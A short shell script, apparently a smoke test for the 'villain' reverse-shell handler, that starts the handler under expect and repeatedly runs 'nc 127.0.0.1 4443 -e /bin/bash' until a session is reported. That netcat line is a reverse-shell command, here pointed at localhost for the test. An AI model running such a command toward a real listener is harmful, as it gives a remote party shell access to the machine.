#!/bin/sh

set -e

villain_output=$(mktemp)

expect 2>&1 << EOF | tee $villain_output &
spawn villain
send "help\n"
expect "New session established"
send "exit\nyes\n"
expect eof
EOF

until nc 127.0.0.1 4443 -e /bin/bash 2>/dev/null; do :; done

grep "New session established" $villain_output
